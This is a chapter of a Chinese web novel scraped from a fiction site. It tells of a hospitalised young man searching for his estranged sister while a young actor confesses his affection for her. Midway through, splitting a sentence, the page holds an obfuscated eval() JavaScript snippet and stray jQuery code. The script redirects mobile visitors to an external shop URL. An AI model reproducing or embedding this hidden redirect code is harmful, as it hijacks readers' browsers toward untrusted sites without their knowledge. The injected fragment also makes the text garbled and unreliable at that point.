文趣网 > 其他小说 > 潮落失格 > 22. 含义
    “姐…别走……”

    “施劲竹……”

    “快躲开——”

    路屹猛地惊醒,整个人从病床上弹坐起来,不小心扯到了吊水的针,一阵刺痛传来。

    这一下让他头晕,眼前阵阵发着黑。他本能拿另一只手扶了下头,却摸到了一圈纱布。

    施劲竹呢?

    他意识到这点,环视了圈空荡荡的病房,瞬间皱起了眉。

    愣神之际,门被打开,杨彪拎着一壶热水进来,看他已经起来了快步上前:“怎么了?是头痛吗?”

    路屹躲开他探过来的手,目视他:“施劲竹呢?”

    病房因为这句话陷入了一种诡异的沉默。

    杨彪试图转移话题:“你先喝点水吧,我给你倒一杯,喝了暖和暖和。”

    路屹倔着脸又问:“施劲竹呢?”

    杨彪颇为头痛。

    自从施劲竹回来后,这姐弟俩的事儿快把他都折磨得心力交瘁了。

    可偏偏他两边都能理解,不知道站在哪边立场比较合适。

    下午送路屹过来,施劲竹守了几个小时,确定他没什么危险了,就起身要走。

    杨彪拦住了她:“你就走了?要不再等等,等他醒了你们聊。”

    施劲竹静默:“……我们没什么好聊的。”

    该聊的早就聊完了。

    杨彪叹了口气:“你们好歹是姐弟俩,就非得这样吗?”

    施劲竹再次陷入沉默,良久,轻应了声:“嗯。”

    这声里的含义有很多。

    只能这样,她惯性的回避,以及某些不想承认的情绪。

    她不愿意深想路屹的庇护,那份扎实温暖的怀抱,还有那一瞬间她汹涌的心绪。

    他们之间的纠缠够多了。

    就当路屹弥补一些前段时间对她的折磨吧,抵消一部分她对他产生的厌恶情绪。

    反正马上也是路人了。

    或许以后再也不会见面了。

    她垂着眸,扯了扯唇角,与杨彪告别。

    杨彪盯着她离去的背影看了许久,他总觉得她背负着什么似的沉重,像是在和自己赌气,不愿意和解。

    杨彪收回思绪,不语。

    路屹作势起身。

    杨彪回神按住他:“你干什么?!”

    他掀开被子:“我去找她。”

    “你这水都还没吊完,身体还没恢复呢,往哪瞎跑?赶紧给我躺回去,好好养病,其余的明天再说!”杨彪没好气道。

    路屹挣扎躲开,利落拔了针头:“我必须要见她!”

    他就想问问施劲竹,怎么可以这么无情?

    他好歹护了她一回,她却连在他床边待一会儿,只等着他醒来都不愿意!

    杨彪搡了他几次,没把他推回去,彻底来了火:“你见你见!你是真贱!路屹你一天天的到底闹够了没有?!你还不明白她为什么不想见你吗?这一切都是谁一开始作出来的?”

    “你是不是觉得你现在耍性子的样子特酷?你见到她是想怎么样呢?是想又急头白脸把她吼一顿,好让你们俩彻底结仇是吗?!”

    路屹瞪着他。

    杨彪翻了个白眼:“路屹,你能不能别一遇到你姐的事就不成熟?能不能考虑一下做事的后果和连锁反应?你一味这样只能把她越推越远。”

    “你不是看不出她对你的在意。你爱她,想你们这个家重新团聚,就别用这种专门恶心人的做法。我要是你姐,早跑天涯海角让你找不到了。”

    “谁爱她?谁想跟她当一家人?”路屹嗤声,别过脸,声音渐低,“我就不明白了……”

    他狠咬住唇,口腔内很快弥漫起血腥味,从舌尖蔓延到舌根,一嘴的腥甜。

    他又嗤了声,恹恹垂眸:

    “……想她看我一眼,就这么难吗?”

    不求DV里那样。

    但哪怕,就露出一点不那么回避或抗拒的神情呢?

    ——

    关于施劲竹的小插曲,剧组帮忙叫了救护车垫了点医药费就没有在意,反正她在剧组的地位也无足轻重。

    下午回了区里,她跟着剧组看补拍之前的戏份,有些场景还是她设计的,钟程不知道是回看不满意还是怎样,重新补拍做了细节调整。

    杨峰还在一旁添油加醋,少有地Cue了她,让她好好看好好学。

    施劲竹沉默地看了两个小时。

    在钟程大刀阔斧找出需要补拍的内容,让方昕更改时,她终于听不下去,静悄悄退场。

    当着她的面做到这份上,说不是故意恶心人谁信?

    但她是绝对不可能因为这点恶心的手段就主动离开剧组的,至少要先把钱拿到。

    她眼不见心不烦地离开剧组区域,走远了,随便找了个花坛坐下。

    叹了口气,心里仍在发闷发堵,不仅是因为剧组的事。

    她每次产生动摇时就这样,但也知道自己只是一时的情绪难捱,等到情绪过阵就会好了。

    施劲竹垂头丧气,双手撑着两边大理石面,脚盘在一起,鞋跟有一搭没一搭轻撞着花坛。

    她其实早有心理准备,预料到过宁城这次行程一定不会顺遂,但没曾想会折腾出这么多幺蛾子。

    想着想着,她脑海里又不自觉开始回放起有关路屹的点点滴滴。

    一盒纯牛奶从旁边伸进她视线。

    施劲竹回神,那人见她心不在焉,径直把牛奶塞进她手里,挨着她坐下:“是不开心吗姐姐?”

    施劲竹吸了一口气,打起精神扯了个笑:“没有啊。”

    郑海轩吸牛奶的动作顿了下,开玩笑打趣:“我还以为姐姐都不想再理我了。”

    “不会。”施劲竹迟疑了一下,对他道歉,“那次在医院,是我心情不好,冒犯到你了,对不起。”

    他摆摆手:“害没关系,谁都有心情不好的时候嘛。再说了——”

    他拖长了音,若无其事说:“姐姐你也没说错,我确实喜欢你。”

    社死的回忆涌上心头。

    当时说的时候没在意,现在冷不丁提起这个,施劲竹莫名起了鸡皮疙瘩,浑身一阵蚂蚁爬过的酥麻。

    她不自在地咳了两声。

    郑海轩笑了两声:“不是吧姐姐,我的喜欢对你来说压力这么大吗?”

    施劲竹不知道怎么接话:“没有,就是…我也没什么值得你喜欢的吧?”

    “怎么没有?”郑海轩倒豆子似的,如数家珍,“这是我第三次拍戏,之前待过的两个剧组,也经常有盒饭没订够的,只能忍着饿肚子。咱们第一次见面那次,你就把你的盒饭给我了。”

    他们公司小,好几个成员共用一个经纪人,资源也少的可怜,根本没时间跟组,连助理都请不起。

    他不是第一次在剧组意外挨饿,但头一次有人对他散发出善意。

    “后来我知道你是原著作者,还特地拜读了原著。我觉得你的原著真的写的很好,有一种无论怎么在黑夜挣扎,姐弟俩都会坚韧茁壮成长的生命力。悬疑线也写的特别带感,中途几次危机都给我看哭了。

    我也超级喜欢你塑造出的向阳这个角色,有好几次我来找你聊过天之后,就感觉和他的距离更近了,好像冥冥之中灵魂产生了共鸣。”

    郑海轩说着,还不好意思地低头:“不夸张的讲,我们那个表演课都很水,我其实没怎么学会实质性能用上的技巧,之前播的两部剧大家都骂我,说我五官乱飞。

    真的是这次跟你聊之后,又观摩现场其他老师的表演,我忽然觉得我自己好像摸到了一点表演的门道了。”

    “我原本只有一点点戏份来的,后面多了些镜头,一问才知道也是姐姐你写的。”

    尽管那只是为了丰满剧情,但他仍旧感激,并且珍惜每一次

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781116|208693||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出镜机会。

    再后来,他不免对施劲竹的关注一点点增多,好奇也一点点增强。

    她总是给他一种很稳定的感觉,就像一棵树,一根竹子,扎根进土里最深的那部分,可以托举起头顶鲜嫩的枝丫叶片。

    好像无声地在说:“不要害怕,无论走得多高多远,我都会为你托底。”

    他是有些浮躁的性格,可每次跟她聊天,就有种莫名的心安。

    她绑着最简单的低马尾,穿着休闲套装。阳光打在她半边身体上,勾勒描绘着她戴着副边极细的眼镜,认真处理剧本飞页的神情,让他久久收不回视线。

    素净,细腻,专业。

    她用那淡淡的,温和的嗓音给他剖析她写出向阳这个人物的核心目的,就好像是同时牵起了两只手,将他们互相托付一样。

    他不知道怎么仔细形容这种感觉。

    灵魂经受指引而成功共振?

    郑海轩回神:“所以你对我的帮助真的超级超级大呀!我觉得你特别特别好,值得所有人喜欢。”

    他夸完,有些不好意思:“那天你问的确实有点突然了,我那会儿有点慌,就跑了。这段时间咱们分两组我也没敢去找你,我怕你再拒绝我一次。”

    “但是。”郑海轩站起身来,面对她,“我已经想好了,就算你不喜欢我,我也还是可以喜欢你的嘛!毕竟喜欢你是我自己的事情。而且就算成不了情侣,我们也可以做朋友啊!这个你总不能拒绝我了吧?我们好歹也同甘共苦两个多月了耶!!!”

    他冲她眨眨眼。

    这话说的,施劲竹有些别扭,又有些好笑。

    说的也是。

    人和人之间又不是只有亲密无间和陌生两种关系。

    她没法控制别人喜不喜欢她,但是她可以控制自己接纳别人的距离。

    朋友也分亲疏远近,过一个多月,他们也会分道扬镳,或许再不联系。

    所以,何必给别人找不舒服呢?

    她释怀地笑笑:“说的好有道理。”

    郑海轩扭头左看右看:“这么说姐姐是愿意跟我当朋友喽?是不是是不是?”

    她不动声色往后躲了一下,被他带的注意力转移,忘了方才胡思乱想的压力,浑身轻松一节,失笑扯唇点头:“是,她们还真是一点没说错。”

    “她们?谁们?说什么啦?我的坏话呀?”郑海轩兴奋得恨不得跳起来,又故作伤心的样子,“没想到姐姐你这种一点不八卦的人也会背后蛐蛐我!那你说我什么啦?”

    “没有蛐蛐你。”施劲竹怕他误会,正了正神色语气,“她们说你性格很好,有种没有被荼毒过的新人美,很可爱。”

    郑海轩没想到她还这么一本正经跟他解释,旋即笑道:“哈哈哈哈哈姐姐,我觉得你更可爱!我只是跟你开玩笑啦,干嘛这么认真?”

    施劲竹眨了眨眼。

    两人有一搭没一搭地聊着,全然没有注意到远处一道蓝白条纹的身影。

    路屹站在一辆小轿车后,木然的脸死死盯着那个角落。

    他们在说什么?她又在笑什么?

    有什么让她这么开心?还是因为这个人开心?

    他不甚清晰地看着她,尽管表情幅度很小,但他确定她此刻是轻松的开心的。

    她只会对着别人笑吗?

    为什么从来不对着他笑呢?

    他们才是更应该亲密的人,不是吗?

    路屹的视线从她身上缓缓转移,到那个就差又唱又跳的男人身上。

    他们看起来差不多大,比他矮,看着还挺弱鸡。

    记起来了,这人还十分厚脸皮地乱叫姐。

    施劲竹是他姐么他就叫?

    是他的位置吗他就站那儿?

    跳梁小丑。

    路屹重重哂笑了声,手攥紧到针眼又冒出了血迹,定在原地良久,他终究还是没过去。